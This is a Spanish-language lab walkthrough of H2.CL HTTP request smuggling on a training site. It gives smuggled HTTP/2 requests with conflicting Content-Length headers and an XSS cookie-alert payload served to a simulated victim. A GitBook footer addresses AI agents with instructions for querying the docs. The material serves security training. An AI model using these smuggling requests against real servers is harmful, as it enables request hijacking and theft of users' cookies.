> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/h2-cl-request-smuggling.md).

# Contrabando de solicitudes H2.CL

### Contrabando de solicitudes H2.CL

Este laboratorio es vulnerable a **contrabando de solicitudes** porque el servidor de front-end degrada **HTTP/2** las solicitudes incluso cuando tienen una longitud ambigua.

El objetivo es llevar a cabo un ataque que permita al navegador de la víctima cargar y ejecutar un **archivo JavaScript de malware** alojado en el servidor de explotación, que contiene:

```javascript
alert(document.cookie)
```

La usuaria víctima visita la página de inicio cada **10 segundos**.

#### **Cambio a un 404 mediante contrabando**

Se requiere una incoherencia de longitud para causar un **404 No encontrado**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Análisis del comportamiento de la aplicación**

La página carga automáticamente un script:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/7d23f9030dfc98fb657ff3e79f4c80b4b30dd661" alt=""><figcaption></figcaption></figure>

Este script genera un identificador aleatorio y envía una consulta a:

```javascript
/analytics?id=<valor aleatorio>
```

<figure><img src="/files/5431827ded310c5f329db19eac31b2515e8b6188" alt=""><figcaption></figcaption></figure>

Extracto de la función:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observación de rutas aceptadas**

Una solicitud contrabandeada a:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/8e2bc8efca764a5d85fa544f1bb497eed97879b9" alt=""><figcaption></figcaption></figure>

se acepta.

Por otro lado, otras rutas no.

<figure><img src="/files/361a58df4826a5578e0e0e1a743a3e7049c50dee" alt=""><figcaption></figcaption></figure>

#### **Inyección de script malicioso**

Colocamos nuestra carga útil en el archivo proporcionado por el servidor de explotación:

* nombre de archivo: **resources**
* contenido del cuerpo:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/df651b7af2657cf18641b0fd897b2d82c4966894" alt=""><figcaption></figcaption></figure>

La víctima es redirigida a este archivo, y el navegador ejecuta la alerta, confirmando la explotación.

<figure><img src="/files/701dd17a9aa0f37096a543be80d8d6a7832598fe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
